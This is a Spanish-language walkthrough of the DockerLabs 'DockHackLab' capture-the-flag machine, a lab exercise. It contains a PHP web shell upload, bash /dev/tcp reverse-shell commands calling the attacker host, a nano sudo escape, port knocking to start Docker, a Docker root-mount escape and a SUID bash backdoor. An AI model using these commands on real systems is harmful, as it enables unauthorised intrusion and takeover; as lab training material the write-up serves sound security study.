> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/dockhacklab.md).

# DockHackLab

<details>

<summary>Datos</summary>

* **Máquina** -> DockHackLab
* **Dificultad** -> Medio
* **Creador** -> [firstatack](https://firstatack.github.io/)

</details>

Como es costumbre, verificamos conectividad con la maquina usando el comando `ping`.

```bash
❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.134 ms
RR: 	172.17.0.1
		172.17.0.2
		172.17.0.2
		172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.134/0.134/0.134/0.000 ms
```

Ningún paquete perdido, muy bien!!!, por el TTL podemos creer que estamos frente a una maquina Linux, creamos nuestras carpetas de trabajo con `mkt` y hacemos un escaneo primario.

```bash
❯ PortScanner -i 172.17.0.2 -t 100 -s 1 -a V C -o recognition.txt

[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (netcat):

  [!] Puerto 22 abierto! 
  [!] Puerto 80 abierto! 
  [+] Port: 100 / 100 

[+] Lista de puertos abiertos: [22, 80]
[+] Información de servicios y versiones:

  [+] 22/tcp    ssh       OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
  [+] 80/tcp    http      Apache httpd 2.4.58 ((Ubuntu))

[+] Comprobando vulnerabilidades:

  [+] SSH parece seguro contra enumeración de usuarios  
  [+] Tecnologías detectadas en HTTP:

        http://172.17.0.2:80 [200 OK] Apache[2.4.58],
        Country[RESERVED][ZZ],
        HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)],
        IP[172.17.0.2],
        Title[Apache2 Ubuntu Default Page: It works],

[*] Evidencia guardada en recognition.txt
```

Por ahora vemos 2 puertos abiertos el `22`y el `80`, procedemos a hacer un escaneo con `nmap` de posibles vulnerabilidades.

```bash
❯ nmap -sCV -p 22,80 172.17.0.2 -oN targeted.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 10:27 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 172.17.0.2
Host is up (0.0012s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9a:a2:73:65:c5:4f:dd:36:57:7c:53:f6:98:82:96:04 (ECDSA)
|_  256 c5:f4:bf:93:53:a3:8b:78:0c:8a:b2:fa:30:5b:b3:1b (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.74 seconds
```

Nuestro primer escaneo con `nmap` no muestra nada inusual.

```bash
❯ nmap -A --script http-headers 172.17.0.2 -oX xml -oN targeted_A.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 10:29 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 172.17.0.2
Host is up (0.0047s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
| http-headers: 
|   Date: Sun, 13 Oct 2024 15:29:26 GMT
|   Server: Apache/2.4.58 (Ubuntu)
|   Last-Modified: Fri, 12 Jul 2024 22:54:52 GMT
|   ETag: "29af-61d14c4688700"
|   Accept-Ranges: bytes
|   Content-Length: 10671
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), Synology DiskStation Manager 5.X (88%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2
Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.4 (97%), Linux 5.0 - 5.5 (95%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%), Linux 3.4 - 3.10 (91%), Linux 2.6.32 - 3.10 (91%), Linux 2.6.32 - 3.13 (91%), Linux 2.6.39 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   4.73 ms 172.17.0.2

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.99 seconds
```

Con nuestro segundo escaneo mas de lo mismo, solo nos aseguro que es una maquina Linux, si vamos a la pagina web, nos muestra la pagina de instalación de Apache.

```bash
❯ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --threads 200 --status-codes 200,302,301,401 --no-recursion

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 302, 301, 401]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       22l      105w     5952c http://172.17.0.2/icons/ubuntu-logo.png
200      GET      363l      961w    10671c http://172.17.0.2/
301      GET        9l       28w      312c http://172.17.0.2/hackademy => http://172.17.0.2/hackademy/
[####################] - 3m    220554/220554  0s      found:3       errors:346    
[####################] - 3m    220548/220548  1058/s  http://172.17.0.2/  
```

Si hacemos `fuzzing` encontraremos una pagina llamada `hackademy` para subir archivos, si usamos `Wappalyzer` nos dice que la pagina web maneja php, así que intentamos subir un archivo php malicioso con nombre `cmd.php`, y la pagina nos responde con "El archivo cmd.php ha sido subido y alterado xxx\_tuarchivo , localizalo y actua."

El contenido de `cmd.php` es:

```php
<?php
  system($_GET['cmd']);
?>
```

Por lo cual procederemos a buscar este archivo modificado haciendo `fuzzing`, cabe destacar que primero lo intente con el `directory-list-2.3-medium.txt` pero luego noto que el la pagina nos dice que modifico el archivo y solo muestra 3 `x` antes del nombre de nuestro archivo, lo que podemos hacer es usar `crunch` para generar una lista de palabras con 3 caracteres, primero solo de letras y veremos que pasa.

{% hint style="info" %}
¿Comó se usa `crunch`?

* **Ejemplo**:  crunch \<min-len> \<max-len> \[\<charset string>] \[options]
  {% endhint %}

```bash
❯ crunch 3 3 abcdefghijklmnñopqrstuvwxyz -o combinaciones.txt
Notice: Detected unicode characters.  If you are piping crunch output
to another program such as john or aircrack please make sure that program
can handle unicode input.

Do you want to continue? [Y/n] 
Crunch will now generate the following amount of data: 80919 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 19683 

crunch: 100% completed generating output
❯ ll
.rwxr-xr-x victor victor  33 B  Fri Jun 21 11:56:18 2024  cmd.php
.rw-r--r-- root   root    79 KB Sun Oct 13 10:57:01 2024  combinaciones.txt
.rwxr-xr-x victor victor 330 B  Tue Oct  1 12:37:10 2024  rshell.php
❯ wc -l combinaciones.txt
19683 combinaciones.txt
```

Como resultado nos devuelve una lista de `19683` palabras de 3 caracteres, procedemos a hacer el `fuzzing`.

```bash
❯ ffuf -c -w combinaciones.txt -u "http://172.17.0.2/hackademy/FUZZ_cmd.php" -t 14

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://172.17.0.2/hackademy/FUZZ_cmd.php
 :: Wordlist         : FUZZ: /root/CTF/Dockerlabs/dockhacklab/content/combinaciones.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 14
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

klp                     [Status: 500, Size: 0, Words: 1, Lines: 1, Duration: 48ms]
:: Progress: [19683/19683] :: Job [1/1] :: 432 req/sec :: Duration: [0:00:42] :: Errors: 0 ::
```

Encuentro mi archivo que responde con 500 por que necesita un parámetro para dar 200, le han agregado `klp` al principio, si ingreso en la URL: `http://172.17.0.2/hackademy/klp_cmd.php?cmd=id` el servidor me responde con: `uid=33(www-data) gid=33(www-data) groups=33(www-data)`, en este punto puedo tirar un comando me que devuelva una reverse shell.

```bash
❯ bat /home/victor/Programación/Python/ReverseShell/nota_2.txt -l java
───────┬────────────────────────────────────────────────────────────────────
       │ File: /home/victor/Programación/Python/ReverseShell/nota_2.txt
───────┼────────────────────────────────────────────────────────────────────
   1   │ # Reverse shell
   2   │ 
   3   │ -> bash -i >& /dev/tcp/IP_ATACANTE/PUERTO 0>&1
   4   │ -> bash -c 'bash -i >& /dev/tcp/IP_ATACANTE/PUERTO 0>&1'
───────┴───────────────────────────────────────────────────────────────────
❯ bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'
❯ urlencode "bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'"

[+] bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F172.17.0.1%2F1234+0%3E%261%27
❯ nc -nlvp 1234
listening on [any] 1234 ...
```

URL encodeamos la reverse shell y nos ponemos en escucha para ver que pasa.

```bash
❯ nc -nlvp 1234
listening on [any] 1234 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 42436
bash: cannot set terminal process group (22): Inappropriate ioctl for device
bash: no job control in this shell
www-data@f2ab538c4c88:/var/www/html/hackademy$ whoami
www-data
www-data@f2ab538c4c88:/var/www/html/hackademy$ 
```

Después de darle tratamiento a la TTY, vemos que estamos dentro de la maquina, solo nos queda la escalada de privilegios.

<mark style="color:yellow;">**Tratamiento de la TTY:**</mark>

```bash
script /dev/null -c bash # Lo ejecutamos en la maquina victima
ctrl + z
stty raw -echo;fg # Lo ejecutamos en nuestra maquina
reset xterm # Lo escribimos en la maquina victima

stty size # Lo ejecutamos en nuestra maquina para saber nuestras dimensiones
```

Por ultimo sabiendo las dimensiones y si queremos una terminal de colores, podemos ejecutar el siguiente comando en la maquina victima.

```bash
stty rows 46 cols 168 && export TERM=xterm-256color SHELL=bash && source /etc/skel/.bashrc
```

Para la escalada viendo lo básico encontramos.

```bash
www-data@f2ab538c4c88:/var/www/html/hackademy$ whoami
www-data
www-data@f2ab538c4c88:/var/www/html/hackademy$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever
www-data@f2ab538c4c88:/var/www/html/hackademy$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 24.04 LTS
Release:	24.04
Codename:	noble
www-data@f2ab538c4c88:/var/www/html/hackademy$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@f2ab538c4c88:/var/www/html/hackademy$ sudo -l
Matching Defaults entries for www-data on f2ab538c4c88:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on f2ab538c4c88:
    (firsthacking) NOPASSWD: /usr/bin/nano
www-data@f2ab538c4c88:/var/www/html/hackademy$ 
```

Usando `sudo -l` vemos que el usuario **firsthacking** tiene permisos de ejecutar `nano` como root, así que procedemos a usar `searchbins` para ver como aprovecharnos del binario.

```bash
❯ searchbins -b nano -f sudo

[+] Binary: nano

================================================================================
[*] Function: sudo -> [https://gtfobins.github.io/gtfobins/nano/#sudo]

	| sudo nano
	| ^R^X
	| reset; sh 1>&0 2>&0
```

Lo que aremos es irnos a `/tmp` y ejecutar `nano` como el usuario `firsthacking`.

```bash
www-data@f2ab538c4c88:/home$ cd /tmp/
www-data@f2ab538c4c88:/tmp$ sudo -u firsthacking /usr/bin/nano 
```

Entramos en `nano` presionamos `Ctrl + R`, `Ctrl + X` pegamos el comando `reset; sh 1>&0 2>&0`, esperamos unos segundos, escribimos `bash` y ahora somos el usuario `firsthacking`, hacemos `Ctrl + L` para limpiar la pantalla y volvemos a ejecutar `sudo -l`.

```bash
firsthacking@f2ab538c4c88:/tmp$ sudo -l
Matching Defaults entries for firsthacking on f2ab538c4c88:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User firsthacking may run the following commands on f2ab538c4c88:
    (ALL) NOPASSWD: /usr/bin/docker
firsthacking@f2ab538c4c88:/tmp$
```

Vemos que tenemos permiso de ejecutar docker como root sin contraseña, así que vemos con `searchbins` como aprovecharnos de esto.

```bash
❯ searchbins -b docker -f sudo

[+] Binary: docker

================================================================================
[*] Function: sudo -> [https://gtfobins.github.io/gtfobins/docker/#sudo]

The resulting is a root shell.

	| sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

Lo que hace este comando es montar todos los directorios de la maquina victima, en una imagen de docker, una de las mas comunes y livianas, es `alpine` aunque si vemos que imágenes existen el la maquina victima vemos un mensaje.

```bash
firsthacking@f2ab538c4c88:/tmp$ docker images
Fijate que hay algo esperando a que llames

 12345 54321 24680 13579 

De nada servira si no llamas antes
firsthacking@f2ab538c4c88:/tmp$ 
```

Ademas de este mensaje tambien vemos que el demonio de `docker` no esta corriendo.

```bash
firsthacking@f2ab538c4c88:/tmp$ sudo /usr/bin/docker ps
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
firsthacking@f2ab538c4c88:/tmp$ 
```

Si nos vamos a nuestra home vemos lo siguiente.

```bash
firsthacking@f2ab538c4c88:~$ ls -la
total 20
drwxr-x--- 1 firsthacking firsthacking  118 Oct 14 02:59 .
drwxr-xr-x 1 root         root           36 Jul 13 08:57 ..
-rw------- 1 firsthacking firsthacking    5 Oct 14 02:59 .bash_history
-rw-r--r-- 1 firsthacking firsthacking  220 Jul 13 08:57 .bash_logout
-rw-r--r-- 1 firsthacking firsthacking 3941 Jul 15 03:50 .bashrc
drwx------ 1 firsthacking firsthacking   40 Jul 13 09:52 .cache
-rw-rw-r-- 1 firsthacking firsthacking   40 Jul 15 03:53 .docker
drwxrwxr-x 1 firsthacking firsthacking   10 Jul 15 03:51 .local
-rw-r--r-- 1 firsthacking firsthacking  807 Jul 13 08:57 .profile
firsthacking@f2ab538c4c88:~$ cat .docker 
que utiles son las funciones del bashrc
firsthacking@f2ab538c4c88:~$ 
```

Ahora vemos por que al ejecutar `docker` nos salia ese mensaje, ya que dentro del `.bashrc` tenemos una función que nos manda ese mensaje.

```bash
function docker() {
    echo "Fijate que hay algo esperando a que llames"
    echo -e "\n 12345 54321 24680 13579 \n"
    echo -e "De nada servira si no llamas antes"
}
```

En este punto puede ser que tengamos que emplear `Port knocking`.

{% hint style="info" %}
El `Port knocking` (golpeo de puertos) *es un mecanismo que permite abrir puertos* a través de una serie *predefinida de intentos de conexión* a puertos que se encuentran cerrados.

Herramientas que se usan para configurar `Port knocking`: `fwknop` y `knockd` aunque existen muchas más.
{% endhint %}

Lo que aremos es ir a nuestra terminal y ejecutar el siguiente comando:

```bash
❯ knock 172.17.0.2 12345 54321 24680 13579 -v
hitting tcp 172.17.0.2:12345
hitting tcp 172.17.0.2:54321
hitting tcp 172.17.0.2:24680
hitting tcp 172.17.0.2:13579
```

Verificamos si de verdad se activo el docker.

```bash
firsthacking@aeddeb7cb610:/var/www/html/hackademy$ sudo /usr/bin/docker ps
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES
```

Genial, ahora si podemos empezar a escalar privilegios con `docker`.

```bash
firsthacking@aeddeb7cb610:/var/www/html/hackademy$ sudo /usr/bin/docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
43c4264eed91: Pull complete 
Digest: sha256:beefdbd8a1da6d2915566fde36db9db0b524eb737fc57cd1367effd16dc0d06d
Status: Downloaded newer image for alpine:latest
# whoami
root
```

Aunque ya somos root, estamos dentro del contenedor donde montamos el sistema de la maquina victima, si ejecutamos `hostname -I` vemos que no es la ip de la maquina victima.

```bash
# bash    
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@e97a77fa43ab:/# hostname -I
172.18.0.2
root@e97a77fa43ab:/# 
```

Lo que aremos es convertir la `bash` en SUID para poder ejecutarlo con máximos privilegios.

```bash
root@e97a77fa43ab:/# chmod u+s /bin/bash
root@e97a77fa43ab:/# exit
exit
# exit
firsthacking@aeddeb7cb610:/var/www/html/hackademy$ hostname -I
172.18.0.1 172.17.0.2 
firsthacking@aeddeb7cb610:/var/www/html/hackademy$ bash -p
bash-5.2# whoami
root
bash-5.2# hostname -I
172.18.0.1 172.17.0.2 
bash-5.2# 
```

Salimos del contenedor y estando en la maquina victima, ejecutamos `bash -p` y seremos root, con esto podemos dar por terminada esta maquina.
